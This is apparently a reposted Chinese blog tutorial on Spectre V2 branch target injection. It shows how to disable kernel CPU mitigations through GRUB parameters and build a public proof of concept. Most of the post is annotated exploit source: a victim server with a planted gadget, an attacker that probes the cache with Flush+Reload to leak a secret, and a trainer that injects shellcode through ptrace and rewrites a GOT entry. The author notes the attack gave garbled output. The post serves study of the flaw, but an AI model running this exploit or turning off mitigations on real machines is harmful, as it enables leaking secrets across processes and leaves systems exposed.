Spectre V2 理论与实践
作者:互联网
检测系统是否存在Spectre相关漏洞
环境: VMWare Ubuntu18.04
使用spectre-meltdown-checker程序进行检测:
./spectre-meltdown-checker.sh
看到显示存在缓解措施,根据参考[1]中的方法禁用spectre的补丁
(因为在硬件漏洞是没法直接修复硬件,只能在软件上采取一定的缓解措施):
//修改内核启动参数
gedit /etc/default/grub
//在 GRUB_CMDLINE_LINUX= 此行最后加入下面的参数:
//noibrs noibpb nopti nospectre_v2 nospectre_v1 l1tf=off nospec_store_bypass_disable no_stf_barrier mds=off tsx=on tsx_async_abort=off mitigations=off
//重新生成 grub.cfg 文件
grub2-mkconfig -o /boot/efi/EFI/centos/grub.cfg
grub2-mkconfig -o /boot/grub2/grub.cfg
//重启系统
systemctl reboot
再次检测spectre V2状态,看到vlunerable:
执行Spectre V2攻击
攻击代码见参考[2],代码对应的分析见[3]:
https://github.com/qiutianshu/spectre.git
cd spectre
make
本文使用的是VMWare Ubuntu 18.04,make时报错:
解决方法参考[4]:
//修改Makefile文件,在GNU一行将 -fno-pie改为 -no-pie
gedit Makefile
再次make,根据警告信息将attack.c中ld
修改为d
,即可make成功:
//开启受害者进程:
./victim your_secret
//实施探测:
bash start.sh
攻击结果如下,出现了乱码,与预期结果不符。
暂时还没有找到什么原因(待补充。。。)
Spectre V2原理分析
Spectre V2:branch target injection 的攻击目标是BTB(branch target buffer),它利用了处理器执行间接跳转时的推测执行,当跳转的目标地址不在Cache中、需要从内存中读取时,就会执行分支地址预测,使用BTB预测当前间接跳转指令对应的目标地址。
这存在的问题是:同一个处理器的不同应用程序共用一个BTB,攻击者通过用户态程序执行间接跳转指令来训练BTB,从而使同一个处理器上运行的Linux内核运行间接跳转指令时,分支预测器会被误导跳转到攻击者设计的一个特定地址上,运行攻击者设计的程序。
Spectre V2 attack 代码分析
victim.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "common.h"
//Flush+Reload中两个进程之间共享一片内存区域(victim与attacker均可访问),victim通过预测执行将secret字符映射为共享内存的命中位置,而后attack探测出这个命中位置进而还原出secret。
//这个区域可以建立在系统的共享库中,这里为了清晰讲解攻击原理,直接在victim的可执行文件的.rodata段插入了一个64Kb的ProbeTable数组(256个ascii字符 × 步长256)。
__attribute__((section(".rodata.transmit"), aligned(0x10000))) const char ProbeTable[0x10000] = {'x'}; //64Kb __attribute__((constructor))在main函数前被调用
__attribute__((constructor)) void init() {
int i;
for (i = 0; i < sizeof(ProbeTable)/0x1000; i++)
//volatile确保本条指令不会因编译器优化而省略
*(volatile char *) &ProbeTable[i*0x1000];
}
//在victim中手动编写gadget,在sprintf前攻击者可以控制rdx使其指向secret
__asm__(".text\n.globl gadget\ngadget:\n" //编到.text段,导出gadget符号
"xorl %eax, %eax\n" //清空eax
"movb (%rdx), %ah\n" //rdx可以被攻击者控制
"movl ProbeTable(%eax), %eax\n" //访存
"retq\n");
char *banner = " oggsa v1.0";
char secret[128]={'x'};
int main(int argc, char *argv[]){
int server_sockfd, client_sockfd;
struct sockaddr_in server_address;
struct sockaddr_in client_address;
int client_len;
char buf[32];
char send[32];
if(argc != 2){
fprintf(stderr, "Usage: victim secret");
exit(EXIT_FAILURE);
}
strcpy(secret, argv[1]); //拷贝机密字符串
//socket套接字:使主机的进程间可以互相通信。套接字地址:主机IP-端口对。
// socket(AF_INET, SOCK_STREAM, 0)表示创建一个套接字
//AF_INET为IPV4地址族,SOCK_STREAM指流式套接字,0不指定协议类型,返回句柄
server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
server_address.sin_family = AF_INET;
//htons():将主机字节顺序转换为网络字节顺序
server_address.sin_port = htons(8888);
//htonl():将主机的无符号长整形数转换成网络字节顺序,INADDR_ANY默认0.0.0.0
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
//bind():将一个本地地址和一个套机口捆绑
//int bind( int sockfd , const struct sockaddr * my_addr, socklen_t addrlen);
bind(server_sockfd, &server_address, sizeof(server_address));
listen(server_sockfd, 5);
//以下代码的功能:victim接受server_sockfd连接并创建套接口client_fd -> 读client_fd数据到buf -> buf写入a -> 将a写入send -> send写入client_sockfd
//即:victim通过套接字与攻击者attack进行简单的通信,victim接收attack发过来的字符串,提取其中的整数并将整数格式化为字符串返回给attack。
while(1){
long a;
//accept():在一个套接口接受的一个连接,从等待连接队列中抽取第一个连接并创建一个同类型套接口,返回句柄
client_sockfd = accept(server_sockfd, &client_address, (socklen_t*)&client_len);
//read():返回读取的字节数。
//ssize_t read(int fd, void *buf, size_t count);
while(read(client_sockfd, buf, 32)){
//从client_sockfd读取字节数不为0时
//sscanf():将buf中的数据按格式读入a所在地址中
sscanf(buf, "%ld\n", &a);
//sprint():将a中的数据按格式写入send中
sprintf(send, "%ld\n", a);
//write():从指针buf指向的内存空间写入count个字节到fd所指的文件内。
//size_t write (int fd,const void * buf,size_t count);
write(client_sockfd, send, 16);
}
close(client_sockfd);
}
close(server_sockfd);
exit(EXIT_SUCCESS);
}
attack.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <x86intrin.h>
#include "common.h"
char hint[256] = {'x'};
/**
* 参数:victim文件名、secret地址(0x6310e0)、信息长度、THRESHOLD
*/
int main(int argc, char *argv[]){
int client_fd;
struct sockaddr_in client_address;
int result;
int index,ch, max;
int fd, i, j;
unsigned secret, length, end;
char buf[32];
char addr[32];
char *exe;
char *mm;
char *address;
if(argc != 5){
fprintf(stderr, "error in %s, lines %d", __FILE__, __LINE__);
exit(EXIT_FAILURE);
}
exe = argv[1]; //victim
secret = get_long(argv[2]);
length = get_long(argv[3]);
THRESHOLD = get_long(argv[4]);
end = secret + length;
printf("Secret offset: %x, length: %d\nfile:%s, THRESHOLD:%d\n", secret, length, exe, THRESHOLD);
fd = open(exe, O_RDONLY, 0666);
//使用mmap将正在运行的victim的ProbeTable映射到attack进程(只读)
mm = mmap(NULL, 0x10000, PROT_READ, MAP_SHARED, fd, 0x20000); //victim文件偏移0x20000处只读共享映射到进程中
if(mm == MAP_FAILED){
perror("mmap");
exit(EXIT_FAILURE);
}
//attacker创建套接字与victim通信
client_fd = socket(AF_INET, SOCK_STREAM, 0);
client_address.sin_family = AF_INET;
client_address.sin_port = htons(8888);
client_address.sin_addr.s_addr = inet_addr("127.0.0.1");
result = connect(client_fd, &client_address, sizeof(client_address));
if(result == -1){
perror("net connect");
exit(EXIT_FAILURE);
}
//intial:end = secret + length
for(;secret < end; secret++){
memset(hint, '\0', sizeof(hint));
max = 0;
for(;;){
for(i = 0; i < 8; i++){
//sprint():将secret(对应地址)中的数据按格式写入addr中
sprintf(addr, "%d\n", secret); //控制rdx = secret
//将addr中的数据写入client_fd
write(client_fd, addr, 32);
//从client_fd读取数据
read(client_fd, buf, 32);
memset(addr, '\0', 32);
}
for(j = 0; j < 256; j++){
//对0-255简单随机
index = (j * 167 + 13) & 255;
//监测共享ProbeTable中的数据,在cache中probe()函数返回1
address = &mm[index * 0x100];
if(probe(address)){
hint[index]++;
//max保存多次尝试中index对应地址cache hit的最多的次数,对应index即为secret的ascii值。
if(hint[index] > max){
max = hint[index];
ch = index;
}
}
}
if(max > 4)
break;
}
printf("%c", (char)ch);
}
printf("\n");
close(client_fd);
exit(EXIT_SUCCESS);
}
train.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sched.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <asm/ptrace-abi.h> /*ORIG_EAX*/
#include <sys/reg.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <errno.h>
#include <semaphore.h>
#include <x86intrin.h>
#include "common.h"
//Linux将进程绑定cpu以提高性能
void setcpu(int cpu){
//声明一个cpu_set_t,cpu_set_t其实是一个bit串,每个bit表示进程是否要与某个CPU核绑定
cpu_set_t mask;
//CPU_ZERO():初始化bit数
CPU_ZERO(&mask);
//根据输入的cpu序号设置cpu_set_t中相应的bit位
CPU_SET(cpu, &mask);
//sched_setaffinity()将进程绑定CPU
sched_setaffinity(getpid() , sizeof(mask), &mask);
}
/**
* 参数:victim文件名、sprintf@plt地址(400970)、gardget地址(400cc4)
*/
void trainer(char *exe, unsigned plt, unsigned gadget, unsigned *got,int cpu){
pid_t pid;
int res;
int stat;
unsigned longs, got_out;
unsigned long ip;
struct user_regs_struct regs;
//fork()通过系统调用创建一个与原有进程相似的进程(运行的内容与位置均一致),并把原来进程的所有值都复制到新的新进程中。
//在父进程中,fork返回新创建子进程的进程ID;在子进程中,fork返回0;出现错误,fork返回-1;
pid = fork();
if(pid == -1){
error_log("fork");
}
//如果在子进程中
if(pid == 0){
//将子进程绑定cpu(查看源代码shell文件中的调用没有设置cpu参数,应该默认0)
setcpu(cpu); //设置子进程的cpu亲和度
//ptrace():系统调用提供一个进程(tracer)跟踪另一个进程(tracee),可以检查和改变tracee进程的内存和寄存器数据
//long ptrace(enum _ptrace_request request,pid_t pid,void * addr ,void *data);
res = ptrace(PTRACE_TRACEME, 0, 0, 0);
if(res == -1){
error_log("ptrace");
}
//execl():进程替换函数
//int execl(const char *path, const char *arg, ...);
execl(exe, exe, "qiutianshu", (char*)0); //子进程中启动victim
}
waitpid(pid, &stat, 0); //捕获子进程发出的SIGTRAP信号,获得子进程的控制权
ptrace(PTRACE_GETREGS, pid, 0, ®s); //读取17个寄存器的值
ip = regs.rip; //当前指令寄存器的位置,这里只考虑x86_64的情况
longs = ptrace(PTRACE_PEEKDATA, pid, plt+2, 0); //读取该间接跳转的operand值
got_out = longs + plt + 6; //got表项地址,这里可能需要修改
*got = got_out;
ptrace(PTRACE_POKEDATA, pid, got_out, gadget); //gadget地址写入got位置
ptrace(PTRACE_POKEDATA, pid, gadget, 0xc3c3c3c3); //gadget地址处写入连续四个ret指令
union u
{
unsigned long val;
char shellcode[16];
}loop;
sprintf(loop.shellcode, "\xb8%c%c%c", (plt & 0xff), (plt & 0xff00) >> 8, (plt & 0xff0000) >> 16); // mov eax, sprintf@plt
ptrace(PTRACE_POKEDATA, pid, ip, loop.val);
memcpy(loop.shellcode, "\x00\xff\xd0\xeb",4); //call eax
ptrace(PTRACE_POKEDATA, pid, ip + 4, loop.val);
memcpy(loop.shellcode, "\xfc\x90\x90\x90",4); //jmp back,nop,nop,nop
ptrace(PTRACE_POKEDATA, pid, ip + 8, loop.val);
ptrace(PTRACE_DETACH, pid, 0, 0); //调试进程分离,子进程独立运行
}
void evictor(void * got){
pid_t pid;
pid = fork();
if(pid == 0){
for(;;)
evict(got);
}
}
/**
* 接收参数:victim文件,sprintf@plt(0x4007a0),gadget(0x400aa5)地址
*/
int main(int argc, char *argv[]){
unsigned plt, gadget, got;
char *exe;
int i;
if(argc != 4){
fprintf(stderr, "Usage: %s file strcat@plt gadget", argv[0]);
exit(EXIT_FAILURE);
}
exe = argv[1]; //victim
plt = get_long(argv[2]); //sprinf@plt
gadget = get_long(argv[3]); //gadget
for(i = 0; i < 8; i++){
trainer(exe, plt, gadget, &got, i); //训练indirect jump
printf("cpu%d: got is %x\n", i, got);
}
evictor((void *)got); //刷新各级缓存的got数据
for(;;)pause(); //父进程停在这里
exit(EXIT_SUCCESS);
}
common.h
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
//#define THRESHOLD 350
int THRESHOLD;
unsigned long get_long(char *input){
char *end;
int res = strtoul(input, &end, 0);
if(*end != '\0'){
fprintf(stderr, "%s translate error!", input);
exit(EXIT_FAILURE);
}
return res;
}
void error_log(char *reason){
fprintf(stderr, "%s failed ", reason);
exit(EXIT_FAILURE);
}
//驱逐got表项
void evict(void *ptr) {
static char *space = NULL;
if (space == NULL) {
space = mmap(NULL, 0x4000000, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if(space == MAP_FAILED){
perror("mmap");
exit(EXIT_FAILURE);
}
}
unsigned long off = ((unsigned long) ptr) & 0xfff; //取低12位,确定cache-set
volatile char *ptr1 = space + off;
volatile char *ptr2 = ptr1 + 0x2000; //两次刷新
for (int i = 0; i < 4000; i++) {
*ptr2;
*ptr1; //替换got所在的cache-set
ptr2 += 0x1000;
ptr1 += 0x1000;
}
}
//计时
int probe(char *adrs) {
volatile unsigned long time;
asm __volatile__ (
" mfence\n"
" lfence\n"
" rdtsc\n"
" lfence\n"
" movl %%eax, %%esi \n"
" movl (%1), %%eax\n"
" lfence\n"
" rdtsc\n"
" subl %%esi, %%eax \n"
" clflush 0(%1)\n"
: "=a" (time)
: "c" (adrs)
: "%esi", "%edx");
return (time < THRESHOLD);
}
int probetime(void *adrs) {
volatile unsigned long time;
asm __volatile__ (
" mfence\n"
" lfence\n"
" rdtsc\n"
" lfence\n"
" movl %%eax, %%esi \n"
" movl (%1), %%eax\n"
" lfence\n"
" rdtsc\n"
" subl %%esi, %%eax \n"
" clflush 0(%1)\n"
: "=a" (time)
: "c" (adrs)
: "%esi", "%edx");
return time;
}
static inline void flush(void *ptr) {
__asm__ volatile("clflush (%0)" : : "r" (ptr));
}
common.c
#include <stdio.h>
#include <stdlib.h>
unsigned long get_long(char *input){
char *end;
int res = strtoul(input, &end, 0);
if(*end != '\0'){
fprintf(stderr, "%s translate error!", input);
exit(EXIT_FAILURE);
}
return res;
}
void error_log(char *reason){
fprintf(stderr, "%s failed in %s, line:%d", reason, __FILE__, __LINE__);
exit(EXIT_FAILURE);
}
#include "stdio.h"
int test1_endian() {
int i = 1;
char *a = (char *)&i;
if (*a == 1)printf("小端\n");
else printf("大端\n");
return 0;
}
int main(){
test1_endian();
return 0;
}
参考
[1] 禁用spectre缓解措施:https://konata.tech/2021/11/13/disableMitigations/#VMware-ESXi
[2] 攻击代码:https://github.com/qiutianshu/spectre
[3] 原理讲解1:https://bbs.pediy.com/thread-254288.htm 原理讲解2:https://zhuanlan.zhihu.com/p/114680178
[4] Ubuntu make报错:https://blog.csdn.net/weixin_43207025/article/details/106815625
[5] 其他BranchPoison代码:https://gitee.com/hope2hope/SpectreV2-BranchPoison
[6] X86汇编与机器码在线转换:https://defuse.ca/online-x86-assembler.htm#disassembly
标签:__,int,pid,实践,Spectre,char,V2,client,include 来源: https://blog.csdn.net/diamond_biu/article/details/123478139